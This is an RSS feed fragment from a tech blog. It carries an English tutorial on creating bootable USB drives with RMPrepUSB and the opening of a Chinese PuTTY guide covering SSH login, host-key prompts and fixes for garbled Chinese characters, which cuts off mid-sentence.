		<description>&lt;p&gt;Of the various applications for creating bootable Windows or Linux drives, RMPrepUSB offers some unique features which may be appealing to many users. Advanced users can set specific parameters for the &lt;a style=&quot;position: static; text-decoration: underline !important&quot; id=&quot;KonaLink0&quot; class=&quot;kLink&quot; href=&quot;http://www.ghacks.net/2011/11/23/create-bootable-windows-or-linux-usb-with-rmprepusb/#&quot; target=&quot;_blank&quot;&gt;&lt;font style=&quot;position: static; font-family: &amp;quot;Lucida Grande&amp;quot;,Verdana,&amp;quot;Lucida Sans Regular&amp;quot;,&amp;quot;Lucida Sans Unicode&amp;quot;,Arial,sans-serif; color: rgb(0,114,188) !important; font-size: 12px; font-weight: 400&quot; color=&quot;#0072bc&quot;&gt;&lt;span style=&quot;position: relative; font-family: &amp;quot;Lucida Grande&amp;quot;,Verdana,&amp;quot;Lucida Sans Regular&amp;quot;,&amp;quot;Lucida Sans Unicode&amp;quot;,Arial,sans-serif; color: rgb(0,114,188) !important; font-size: 12px; font-weight: 400&quot; class=&quot;kLink&quot;&gt;drive&lt;/span&gt;&lt;/font&gt;&lt;/a&gt; if necessary. New and inexperienced users can easily use this application as well. Unlike other similar applications RMPrepUSB has additional features that stand out. There are options for USB formatting in several file systems such as FAT16, FAT32 and NTFS formats. You are able to run a USB speed test, size/speed test, install Grub4dos, SYSLINUX, and even create AXT2 FS on any USB drive. This is much more convenient than creating bootable disks on CD or DVD, as pen drives are much easier to keep track of and less prone to damage.&lt;/p&gt;&lt;p&gt;This application is completely free with no catch and you don’t end up with a dozen different toolbars in your &lt;a style=&quot;position: static; text-decoration: underline !important&quot; id=&quot;KonaLink1&quot; class=&quot;kLink&quot; href=&quot;http://www.ghacks.net/2011/11/23/create-bootable-windows-or-linux-usb-with-rmprepusb/#&quot; target=&quot;_blank&quot;&gt;&lt;font style=&quot;position: static; font-family: &amp;quot;Lucida Grande&amp;quot;,Verdana,&amp;quot;Lucida Sans Regular&amp;quot;,&amp;quot;Lucida Sans Unicode&amp;quot;,Arial,sans-serif; color: rgb(0,114,188) !important; font-size: 12px; font-weight: 400&quot; color=&quot;#0072bc&quot;&gt;&lt;span style=&quot;position: relative; font-family: &amp;quot;Lucida Grande&amp;quot;,Verdana,&amp;quot;Lucida Sans Regular&amp;quot;,&amp;quot;Lucida Sans Unicode&amp;quot;,Arial,sans-serif; color: rgb(0,114,188) !important; font-size: 12px; font-weight: 400&quot; class=&quot;kLink&quot;&gt;browsers&lt;/span&gt;&lt;/font&gt;&lt;/a&gt; or applications that you don’t want. The download is free of advertizing and so is the installation. You get a quick download in a .&lt;a style=&quot;position: static; text-decoration: underline !important&quot; id=&quot;KonaLink2&quot; class=&quot;kLink&quot; href=&quot;http://www.ghacks.net/2011/11/23/create-bootable-windows-or-linux-usb-with-rmprepusb/#&quot; target=&quot;_blank&quot;&gt;&lt;font style=&quot;position: static; font-family: &amp;quot;Lucida Grande&amp;quot;,Verdana,&amp;quot;Lucida Sans Regular&amp;quot;,&amp;quot;Lucida Sans Unicode&amp;quot;,Arial,sans-serif; color: rgb(0,114,188) !important; font-size: 12px; font-weight: 400&quot; color=&quot;#0072bc&quot;&gt;&lt;span style=&quot;position: relative; font-family: &amp;quot;Lucida Grande&amp;quot;,Verdana,&amp;quot;Lucida Sans Regular&amp;quot;,&amp;quot;Lucida Sans Unicode&amp;quot;,Arial,sans-serif; color: rgb(0,114,188) !important; font-size: 12px; font-weight: 400&quot; class=&quot;kLink&quot;&gt;zip &lt;/span&gt;&lt;span style=&quot;position: relative; font-family: &amp;quot;Lucida Grande&amp;quot;,Verdana,&amp;quot;Lucida Sans Regular&amp;quot;,&amp;quot;Lucida Sans Unicode&amp;quot;,Arial,sans-serif; color: rgb(0,114,188) !important; font-size: 12px; font-weight: 400&quot; class=&quot;kLink&quot;&gt;file&lt;/span&gt;&lt;/font&gt;&lt;/a&gt; and then simply double-click the .exe file to start the installation. This application does not open automatically after installation, but does offer a desktop icon for easy access. You can download RMPrepUSB from this link: &lt;a href=&quot;http://www.rmprepusb.tk/&quot; target=&quot;_blank&quot;&gt;&lt;font color=&quot;#0000ff&quot;&gt;http://www.rmprepusb.tk/&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;The interface is straightforward and fairly self explanatory. If you want an instructional manual, there is one available at the link provided, though you might have to search around a bit. The site gets changed often and updated versions are consistently released. It is best to use the latest version.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://www.517sou.net/Attach/month_1111/2o8h9a_095750_1.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img class=&quot;alignnone size-medium wp-image-53055&quot; title=&quot;rmprepusb&quot; alt=&quot;rmprepusb&quot; src=&quot;http://www.517sou.net/Attach/month_1111/tvp6d1_095754_2.jpg&quot; width=&quot;600&quot; height=&quot;502&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;In order to create a bootable USB, first do the obvious and insert a blank USB drive into your computer. Using this application is so basic and easy that anyone can do it (yes, really). The interface displays a list of bootloader options to choose from. By default, the Image Tools setting is set for File to USB.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://www.517sou.net/Attach/month_1111/406sdv_095755_3.png&quot; target=&quot;_blank&quot;&gt;&lt;img class=&quot;alignnone size-full wp-image-53056&quot; title=&quot;usb boot type&quot; alt=&quot;usb boot type&quot; src=&quot;http://www.517sou.net/Attach/month_1111/406sdv_095755_3.png&quot; width=&quot;476&quot; height=&quot;148&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;The File to USB option reads the image file content then writes to the selected drive. Only binary images will &lt;a style=&quot;position: static; text-decoration: underline !important&quot; id=&quot;KonaLink3&quot; class=&quot;kLink&quot; href=&quot;http://www.ghacks.net/2011/11/23/create-bootable-windows-or-linux-usb-with-rmprepusb/#&quot; target=&quot;_blank&quot;&gt;&lt;font style=&quot;position: static; font-family: &amp;quot;Lucida Grande&amp;quot;,Verdana,&amp;quot;Lucida Sans Regular&amp;quot;,&amp;quot;Lucida Sans Unicode&amp;quot;,Arial,sans-serif; color: rgb(0,114,188) !important; font-size: 12px; font-weight: 400&quot; color=&quot;#0072bc&quot;&gt;&lt;span style=&quot;position: relative; font-family: &amp;quot;Lucida Grande&amp;quot;,Verdana,&amp;quot;Lucida Sans Regular&amp;quot;,&amp;quot;Lucida Sans Unicode&amp;quot;,Arial,sans-serif; color: rgb(0,114,188) !important; font-size: 12px; font-weight: 400&quot; class=&quot;kLink&quot;&gt;work&lt;/span&gt;&lt;/font&gt;&lt;/a&gt; and they cannot be compressed. The USB to File option reads file content and then writes it to an image file. With either option, supported image formats are IMG, ROM, BIN, RAW, BMDK, VDI, RAM, QCOW, QCOW2, CLOOP, DMG, VPC, VHD, VVFAT, and NBD. File Info option is included so that you can obtain file information.&lt;/p&gt;&lt;p&gt;Select the desired bootloader and then choose a file formatting &lt;a style=&quot;position: static; text-decoration: underline !important&quot; id=&quot;KonaLink4&quot; class=&quot;kLink&quot; href=&quot;http://www.ghacks.net/2011/11/23/create-bootable-windows-or-linux-usb-with-rmprepusb/#&quot; target=&quot;_blank&quot;&gt;&lt;font style=&quot;position: static; font-family: &amp;quot;Lucida Grande&amp;quot;,Verdana,&amp;quot;Lucida Sans Regular&amp;quot;,&amp;quot;Lucida Sans Unicode&amp;quot;,Arial,sans-serif; color: rgb(0,114,188) !important; font-size: 12px; font-weight: 400&quot; color=&quot;#0072bc&quot;&gt;&lt;span style=&quot;border-bottom: rgb(0,114,188) 1px solid; position: relative; background-color: transparent; font-family: &amp;quot;Lucida Grande&amp;quot;,Verdana,&amp;quot;Lucida Sans Regular&amp;quot;,&amp;quot;Lucida Sans Unicode&amp;quot;,Arial,sans-serif; color: rgb(0,114,188) !important; font-size: 12px; font-weight: 400&quot; class=&quot;kLink&quot;&gt;system&lt;/span&gt;&lt;/font&gt;&lt;/a&gt; in the field just below the BOOT TYPE list.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://www.517sou.net/Attach/month_1111/u3a1dt_095755_4.png&quot; target=&quot;_blank&quot;&gt;&lt;img class=&quot;alignnone size-full wp-image-53057&quot; title=&quot;filesystem&quot; alt=&quot;filesystem&quot; src=&quot;http://www.517sou.net/Attach/month_1111/u3a1dt_095755_4.png&quot; width=&quot;259&quot; height=&quot;117&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;If the USB that you are using has any files or portable applications on it, they will be erased once you create the bootable USB. That is why using a blank USB drive is emphasized. RMPrepUSB automatically formats the drive and, as we all know, formatting erases all data.&lt;/p&gt;&lt;p&gt;Once you have selected the format and the bootloader, all you need to do is click Prepare Drive at the bottom pane. This will initiate the process to create the bootable USB for the selected operating system. You will see a warning stating that all data will be erased and it will ask if it is OK to do so and create a new partition.&lt;/p&gt;&lt;p&gt;Click OK and the application process will start. When finished, it will show that the bootable USB was created. If you want to test it, there is a Test button in the right pane. The only catch is that &lt;a style=&quot;position: static; text-decoration: underline !important&quot; id=&quot;KonaLink5&quot; class=&quot;kLink&quot; href=&quot;http://www.ghacks.net/2011/11/23/create-bootable-windows-or-linux-usb-with-rmprepusb/#&quot; target=&quot;_blank&quot;&gt;&lt;font style=&quot;position: static; font-family: &amp;quot;Lucida Grande&amp;quot;,Verdana,&amp;quot;Lucida Sans Regular&amp;quot;,&amp;quot;Lucida Sans Unicode&amp;quot;,Arial,sans-serif; color: rgb(0,114,188) !important; font-size: 12px; font-weight: 400&quot; color=&quot;#0072bc&quot;&gt;&lt;span style=&quot;position: relative; font-family: &amp;quot;Lucida Grande&amp;quot;,Verdana,&amp;quot;Lucida Sans Regular&amp;quot;,&amp;quot;Lucida Sans Unicode&amp;quot;,Arial,sans-serif; color: rgb(0,114,188) !important; font-size: 12px; font-weight: 400&quot; class=&quot;kLink&quot;&gt;testing&lt;/span&gt;&lt;/font&gt;&lt;/a&gt; also erases the USB and you have to start over, but it is good to do this to ensure that it is working properly.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://www.517sou.net/Attach/month_1111/n7krq9_095755_5.png&quot; target=&quot;_blank&quot;&gt;&lt;img class=&quot;alignnone size-full wp-image-53058&quot; title=&quot;device quick test&quot; alt=&quot;device quick test&quot; src=&quot;http://www.517sou.net/Attach/month_1111/n7krq9_095755_5.png&quot; width=&quot;484&quot; height=&quot;208&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Once tested successfully, start over and then you have your bootable USB.&lt;/p&gt;</description>
		<guid>http://www.517sou.net/Article/create-bootable-windows-or-linux-usb-with-rmprepusb.aspx</guid>
		<trackback:ping>http://www.517sou.net/Article/728/Trackback.ashx</trackback:ping>
		<comments>http://www.517sou.net/Article/create-bootable-windows-or-linux-usb-with-rmprepusb.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://www.517sou.net/Article/728/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://www.517sou.net/Article/PuTTY-Chinese-tutorial.aspx</link>
		<title>PuTTY 中文教程</title>
		<author>shanyiwan@live.com()</author>
		<category>技术文摘</category>
		<pubDate>Thu, 29 Sep 2011 02:11:40 GMT</pubDate>
		<description>&lt;div&gt;&lt;ol style=&quot;margin-left: 0pt&quot; class=&quot;writely-toc-disc writely-toc-subheading&quot;&gt;&lt;li&gt;序言&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;p id=&quot;nkpr57&quot;&gt;&lt;b&gt;懒，是一个优点，有些时候还是要学一学才能会了的。 &lt;/b&gt;&lt;/p&gt;&lt;p id=&quot;nkpr59&quot;&gt;&lt;b&gt;—— 柴锋（1979- ） &lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br id=&quot;nkpr61&quot; /&gt;&lt;br id=&quot;nkpr62&quot; /&gt;&lt;/p&gt;&lt;p id=&quot;nkpr63&quot;&gt;我的这些文字是从这几年来的 PuTTY 使用经验中慢慢得来的，也不仅仅是介绍 PuTTY，还包括了一些相关的软件，比如：优秀的 FTP 工具 FileZilla、功能强大的 SFTP 客户端 WinSCP。&lt;/p&gt;&lt;p id=&quot;nkpr64&quot;&gt;杂七杂八的乱说了一些，这里把大致内容罗列如下：&lt;/p&gt;&lt;ul id=&quot;nkpr65&quot;&gt;&lt;li id=&quot;nkpr66&quot;&gt;最简单的使用，登录 SSH 主机&lt;/li&gt;&lt;li id=&quot;nkpr67&quot;&gt;中文乱码的处理&lt;/li&gt;&lt;li id=&quot;nkpr68&quot;&gt;PuTTY 常用配置的说明 &lt;ul id=&quot;nkpr69&quot;&gt;&lt;li id=&quot;nkpr70&quot;&gt;复制、粘贴&lt;/li&gt;&lt;li id=&quot;nkpr71&quot;&gt;保存会话&lt;/li&gt;&lt;li id=&quot;nkpr72&quot;&gt;注销&lt;/li&gt;&lt;li id=&quot;nkpr73&quot;&gt;自动登录用户名&lt;/li&gt;&lt;li id=&quot;nkpr74&quot;&gt;自动设置环境变量&lt;/li&gt;&lt;li id=&quot;nkpr75&quot;&gt;设置代理服务器&lt;/li&gt;&lt;li id=&quot;nkpr76&quot;&gt;自动执行命令&lt;/li&gt;&lt;li id=&quot;nkpr77&quot;&gt;备份、删除 PuTTY 的设置&lt;br id=&quot;nkpr78&quot; /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li id=&quot;nkpr79&quot;&gt;PuTTY 的 X11 转发&lt;br id=&quot;nkpr80&quot; /&gt;&lt;/li&gt;&lt;li id=&quot;nkpr81&quot;&gt;如何用 PuTTY 建立 SSH 隧道&lt;/li&gt;&lt;li id=&quot;nkpr82&quot;&gt;如何用 PuTTY 建立反向的 SSH 隧道，像个特洛伊木马一样突破防火墙&lt;/li&gt;&lt;li id=&quot;nkpr83&quot;&gt;把 PuTTY 作为一个安全的代理服务器 &lt;ul id=&quot;nkpr84&quot;&gt;&lt;li id=&quot;nkpr85&quot;&gt;安全的上网不被嗅探&lt;br id=&quot;nkpr86&quot; /&gt;&lt;/li&gt;&lt;li id=&quot;nkpr87&quot;&gt;避免 MSN 等聊天工具被监听&lt;br id=&quot;nkpr88&quot; /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li id=&quot;nkpr89&quot;&gt;怎样用 PSCP、PSFTP 安全的传输文件 &lt;ul id=&quot;nkpr90&quot;&gt;&lt;li id=&quot;nkpr91&quot;&gt;功能强大的 SFTP 客户端 WinSCP&lt;br id=&quot;nkpr92&quot; /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li id=&quot;nkpr93&quot;&gt;用 PuTTYgen 生成密钥，登录 SSH 主机不再需要口令&lt;br id=&quot;nkpr94&quot; /&gt;&lt;/li&gt;&lt;li id=&quot;nkpr95&quot;&gt;Pagent 代理密钥，每次开机只需要输入一次密钥口令&lt;/li&gt;&lt;li id=&quot;nkpr96&quot;&gt;Plink 简单而又迅速的执行 SSH 主机上的程序&lt;/li&gt;&lt;li id=&quot;nkpr97&quot;&gt;常见问题&lt;br id=&quot;nkpr98&quot; /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;除了上面的这些，还夹杂了一些 PuTTY 使用上的技巧、服务器配置的一些安全建议。说起来这是一些有关 PuTTY 的使用教程，其实也就是 SSH 的参考教程，绝大多数的内容在其他系统或软件上也都是一样的。不同的是参数、配置、命令行之类的，只要会了一个，其他也就触类旁通了。&lt;br id=&quot;nkpr99&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;nkpr100&quot;&gt;一些基本知识&lt;/h2&gt;&lt;p id=&quot;nkpr101&quot;&gt;如果你已经知道 SSH、Telnet、Rlogin 这是什么，就跳过这一部分，看下面的吧。&lt;/p&gt;&lt;p id=&quot;nkpr102&quot;&gt;(以后补充，暂时空下)&lt;br id=&quot;nkpr103&quot; /&gt;&lt;/p&gt;&lt;p&gt;&lt;br id=&quot;nkpr104&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;nkpr105&quot;&gt;简介&lt;/h2&gt;&lt;p&gt;PuTTY 的&lt;a id=&quot;nkpr106&quot; title=&quot;官方网站：http://www.chiark.greenend.org.uk/~sgtatham/putty/&quot; href=&quot;http://www.chiark.greenend.org.uk/~sgtatham/putty/&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#36414d&quot;&gt;官方网站：http://www.chiark.greenend.org.uk/~sgtatham/putty/&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;，截止到 &lt;strike&gt;2006年11月，发布的最高稳定版本是 0.58 2007年6月，发布的最高稳定版本是 0.6。&lt;/strike&gt;2011年7月12日，发布最新的稳定版本 0.61。&lt;br id=&quot;nkpr108&quot; /&gt;&lt;br id=&quot;nkpr109&quot; /&gt;PuTTY 是一个跨平台的远程登录工具，包含了一组程序，包括：&lt;br id=&quot;nkpr110&quot; /&gt;&lt;/p&gt;&lt;ul id=&quot;nkpr111&quot;&gt;&lt;li id=&quot;nkpr112&quot;&gt;PuTTY (Telnet 和 SSH 客户端)&lt;/li&gt;&lt;li id=&quot;nkpr113&quot;&gt;PSCP (SCP 客户端, 命令行下通过 SSH 拷贝文件，类似于 Unix/Linux 下的 scp 命令)&lt;/li&gt;&lt;li id=&quot;nkpr114&quot;&gt;PSFTP (SFTP 的命令行客户端，类似于 FTP 的文件传输，只不过使用的是 SSH 的 22 端口，而非 FTP 的 21 端口，类似于 Unix/Linux 下的 sftp 命令)&lt;/li&gt;&lt;li id=&quot;nkpr115&quot;&gt;PuTTYtel (仅仅是一个 Telnet 客户端)&lt;/li&gt;&lt;li id=&quot;nkpr116&quot;&gt;Plink (命令行工具，执行远程服务器上的命令)&lt;/li&gt;&lt;li id=&quot;nkpr117&quot;&gt;Pageant (PuTTY、PSCP、Plink 的 SSH 认证代理，用这个可以不用每次都输入口令了)&lt;/li&gt;&lt;li id=&quot;nkpr118&quot;&gt;PuTTYgen (用来生成 RSA 和 DSA 密钥的工具).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;虽然包含了这么多，但平时经常见到只是用 PuTTY 登录服务器，完全没有发挥出 PuTTY 的强大功能。&lt;br id=&quot;nkpr119&quot; /&gt;PuTTY 作为一个组件也存在于很多的软件中，比如 FileZilla、WinSCP&lt;br id=&quot;nkpr120&quot; /&gt;在后面的文字中，如非特别说明，默认的登录的协议是 SSH。毕竟用 PuTTY 主要就是登录 SSH 主机，用 Telnet、RLogin 没法体现出 PuTTY 的强大功能。&lt;br id=&quot;nkpr121&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;nkpr122&quot;&gt;安装&lt;/h2&gt;&lt;p&gt;&lt;a id=&quot;nkpr123&quot; title=&quot;下载页面在这里：http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html&quot; href=&quot;http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;&lt;font color=&quot;#36414d&quot;&gt;下载页面在这里：http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;br id=&quot;nkpr124&quot; /&gt;PuTTY 需要安装么？需要么？需要么？真的需要么？不需要。PuTTY 是一个准绿色软件，说它绿色是因为直接就能使用，完全没有任何的安装程序。准绿色是指 PuTTY 的所有配置都保存到了注册表，如果不记得备份注册表中的相关内容，下次重装机器所有配置就没了，而且配置也不方便用闪存盘随身携带。但是 PuTTY 的配置删除还是蛮方便的，运行时指定个参数 -cleanup 就可以清除 PuTTY 的所有配置信息。&lt;br id=&quot;nkpr125&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;nkpr126&quot;&gt;第一印象，开始登录一台远程主机&lt;/h2&gt;&lt;p&gt;运行 PuTTY 就可以看到下面这个界面&lt;br id=&quot;nkpr127&quot; /&gt;&lt;img id=&quot;nkpr128&quot; title=&quot;PuTTY 的主界面&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_4dnh4vq&quot; width=&quot;479&quot; height=&quot;460&quot; /&gt;&lt;br id=&quot;nkpr129&quot; /&gt;在这里输入服务器的 IP 或主机名，选择好登录协议，还有协议的端口，如果希望把这次的输入保存起来，以后就不需要再重新输入了，就在第4步输入好会话保存的名称，比如：mail-server，或者干脆就是主机的地址，点击保存就可以了。&lt;br id=&quot;nkpr130&quot; /&gt;&lt;img id=&quot;nkpr131&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_6dqb4kp&quot; width=&quot;479&quot; height=&quot;460&quot; /&gt;&lt;br id=&quot;nkpr132&quot; /&gt;最后点下面的 Open 按钮，输入正确的用户名和口令，就可以登录服务器了。&lt;br id=&quot;nkpr133&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;nkpr134&quot;&gt;首次登录一台主机时&lt;/h2&gt;&lt;p&gt;第一次登录时，会看到这个对话框&lt;br id=&quot;nkpr135&quot; /&gt;&lt;img id=&quot;nkpr136&quot; title=&quot;首次登录时的提示窗口&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_18ggw942&quot; width=&quot;446&quot; height=&quot;271&quot; /&gt;&lt;br id=&quot;nkpr137&quot; /&gt;这是要告诉你登录的主机密钥指纹，点 Yes 就保存起来，以后就不会再弹出这个窗口，然后就正常登录。点 No 不保存，下次还是要提示你，然后也可以正常登录。如果一台主机我们只是临时登录一下，当然就是点 No 了。Cancel 就是取消，也就是取消了这次登录。&lt;br id=&quot;nkpr138&quot; /&gt;如果你曾经登录过这台主机，但是又弹出来这个对话框，可能有以下几种情形：&lt;br id=&quot;nkpr139&quot; /&gt;&lt;/p&gt;&lt;ul id=&quot;nkpr140&quot;&gt;&lt;li id=&quot;nkpr141&quot;&gt;主机重新安装了操作系统&lt;/li&gt;&lt;li id=&quot;nkpr142&quot;&gt;这台主机可能有多个IP，这次用的是另外一个 IP&lt;/li&gt;&lt;li id=&quot;nkpr143&quot;&gt;有其他不怀好意的主机来冒充，诱骗我们登录，窃取隐秘信息&lt;br id=&quot;nkpr144&quot; /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;前两个情形很常见，一般点 Yes 就行了。后面这个嘛……唔……唔……，点 No/Cancel，再去询问相关的主机管理人员。&lt;br id=&quot;nkpr145&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;nkpr146&quot;&gt;又看到了中文乱码&lt;/h2&gt;&lt;p&gt;成功登录主机后，输入命令，这……这……显示，又是乱码。唉，中文乱码是一个老生常谈的问题，提起来就头大。原因嘛，不外乎字符集、终端编码之类的，还是可以解决的。&lt;br id=&quot;nkpr147&quot; /&gt;&lt;img id=&quot;nkpr148&quot; title=&quot;又看到了中文乱码&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_7dwfr79&quot; width=&quot;690&quot; height=&quot;438&quot; /&gt;&lt;br id=&quot;nkpr149&quot; /&gt;PuTTY 的默认字体和字符集并不适合中文显示， 在窗口标题上点击右键，选择 Change Settings...&lt;br id=&quot;nkpr150&quot; /&gt;&lt;img id=&quot;nkpr151&quot; title=&quot;选择 Change Settings...&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_8v84bfs&quot; width=&quot;690&quot; height=&quot;438&quot; /&gt;&lt;br id=&quot;nkpr152&quot; /&gt;在打开的配置窗口左边选择 Appearance，在右边点 Font settings 里面的 Change 按钮，选择好中文字体，比如：宋体、新宋体之类的&lt;br id=&quot;nkpr153&quot; /&gt;&lt;img id=&quot;nkpr154&quot; title=&quot;选择字体&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_10tggsfh&quot; width=&quot;479&quot; height=&quot;460&quot; /&gt;&lt;br id=&quot;nkpr155&quot; /&gt;字体选择好了，还要确定字符集。&lt;br id=&quot;nkpr156&quot; /&gt;选择配置窗口左边的 Translation，在右边的 Received data assumed to be in which character set 下拉列表中选择最后一个“Use font encoding”，最后点下面的 Apply 按钮就生效了。&lt;br id=&quot;nkpr157&quot; /&gt;&lt;img id=&quot;nkpr158&quot; title=&quot;选择字符集&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_11fx9xgm&quot; width=&quot;479&quot; height=&quot;460&quot; /&gt;&lt;br id=&quot;nkpr159&quot; /&gt;重新执行命令 ls -l，就可以正常看到中文了&lt;br id=&quot;nkpr160&quot; /&gt;&lt;img id=&quot;nkpr161&quot; title=&quot;可以看到中文了&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_12dcqgjj&quot; width=&quot;610&quot; height=&quot;366&quot; /&gt;&lt;br id=&quot;nkpr162&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;nkpr163&quot;&gt;怎么还是乱码？&lt;/h2&gt;&lt;p&gt;如果还是乱码的话，就执行以下命令，看看系统的字符集&lt;br id=&quot;nkpr164&quot; /&gt;echo $LANG $LANGUAGE&lt;br id=&quot;nkpr165&quot; /&gt;&lt;img id=&quot;nkpr166&quot; title=&quot;察看系统字符集&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_13g7c77q&quot; width=&quot;610&quot; height=&quot;366&quot; /&gt;&lt;br id=&quot;nkpr167&quot; /&gt;哦，原来系统的字符集是 UTF-8 呀。重新返回上面选择字符集的那一步， 选择配置窗口左边的 Translation，在右边的 Received data assumed to be in which character set 下拉列表中选择“UTF-8”&lt;br id=&quot;nkpr168&quot; /&gt;&lt;img id=&quot;nkpr169&quot; title=&quot;重新选择字符集为 UTF-8&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_14f4mr3m&quot; width=&quot;479&quot; height=&quot;460&quot; /&gt;&lt;br id=&quot;nkpr170&quot; /&gt;这下99%的情形下，汉字是不会有乱码了。最后，总之一下 PuTTY 中乱码的解决办法：&lt;br id=&quot;nkpr171&quot; /&gt;先看看系统的字符集，如果是 UTF-8 的，那就简单了，选择好中文字体，然后编码选择 UTF-8 就行了。&lt;br id=&quot;nkpr172&quot; /&gt;如果编码是 GB2312、GBK、GB18030，当然也包括 BIG5这些，在 PuTTY 的编码选择中看不到这些编码，那就选择最后一个“Use font encoding”，绝大部分情况下这样就没啥问题了，反正我是没碰到有什么例外的情况。&lt;br id=&quot;nkpr173&quot; /&gt;现在的 Linux 如果默认语言选择为中文，默认的编码就是 UTF-8 了。以前安装 Redhat AS 3 时，语言选择为中文，默认的编码是 zh_CN.gb2312, zh_CN.gb18030，好像从 AS 3 update 6 开始，包括现在的 AS4、AS5，中文的默认编码都成了 zh_CN.utf8。至于 Debian、Ubuntu 等等这些上面，好像一直都是 UTF-8。&lt;br id=&quot;nkpr174&quot; /&gt;至于是使用 UTF-8呢，还是用 GB2312、GBK 或者 GB18030呢？我个人还是倾向于 UTF-8。毕竟我们使用的大多数软件都是国外的，处理中文编码多多少少有些问题，PuTTY 自然也不例外。&lt;br id=&quot;nkpr175&quot; /&gt;下面的这个图上，我把终端编码修改为 zh_CN.utf8，然后也按照前面的所说的方法把 PuTTY 的字符集修改为 UTF-8。然后在终端中输入汉字“柴锋”，按左方向键，可以看到汉字显示很正常。&lt;br id=&quot;nkpr176&quot; /&gt;&lt;img style=&quot;width: 610px; height: 366px&quot; id=&quot;nkpr177&quot; title=&quot;编码使用 UTF-8&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_34gr9nf4&quot; /&gt;&lt;br id=&quot;nkpr178&quot; /&gt;我重新把终端的编码修改为 zh_CN.gb2312，同样的，把 PuTTY 的字符集修改为最后一个“Use font encoding”。还是在终端上输入汉字“柴锋”，按下左方向键以后，会看到汉字乱码了。&lt;br id=&quot;nkpr179&quot; /&gt;&lt;img style=&quot;width: 610px; height: 366px&quot; id=&quot;nkpr180&quot; title=&quot;编码使用 GB2312&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_35fpbmnc&quot; /&gt;&lt;br id=&quot;nkpr181&quot; /&gt;至于用哪个编码，主要还是看领导的决定了，我们的领导就喜欢 GBK，连 GB18030 都不行。以前在用 Debian 的时候，好像默认都不支持 GBK 编码。这几年公司的开发在汉字编码问题上出过几次麻烦，还不就是在 ISO8859-1, GB2312/GBK/GB18030和UTF-8上折腾来折腾去。&lt;br id=&quot;nkpr182&quot; /&gt;给大家看一张 emacs 的截图，看看上面的这么多语言的文字共同显示，这个会是用 GB2312/GBK/GB18030 的编码么？&lt;br id=&quot;nkpr183&quot; /&gt;&lt;img style=&quot;width: 724px; height: 829px&quot; id=&quot;nkpr184&quot; title=&quot;Emacs 下多国语言文字的正常显示（忘记从哪里收集的了，拿来在这里用了，谢谢啊，缘分哪）&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_36ffvqw9&quot; /&gt;&lt;br id=&quot;nkpr185&quot; /&gt;用 UTF-8 也不是为了要在一个屏幕上显示好几种不认识的文字，也不一定非要是跟国际接轨弄个外包给老外开发程序做个其他语言的界面让老外用，起码不要在那么多编码里折腾了，顶多两个 ISO8859-1 和 UTF-8。发发牢骚，下面继续……&lt;br id=&quot;nkpr186&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;nkpr187&quot;&gt;在 PuTTY 里面怎样选中，复制和粘贴？&lt;/h2&gt;&lt;p&gt;在 PuTTY 的窗口里面复制、粘贴可不能用 Windows 里的这些 Ctrl+C, Ctrl+Ins, Ctrl+V 这些快捷键，Ctrl+C 在控制台上可是终止当前的命令执行。&lt;br id=&quot;nkpr188&quot; /&gt;PuTTY 的选择、复制、粘贴这些操作都是通过鼠标来完成的。&lt;br id=&quot;nkpr189&quot; /&gt;在 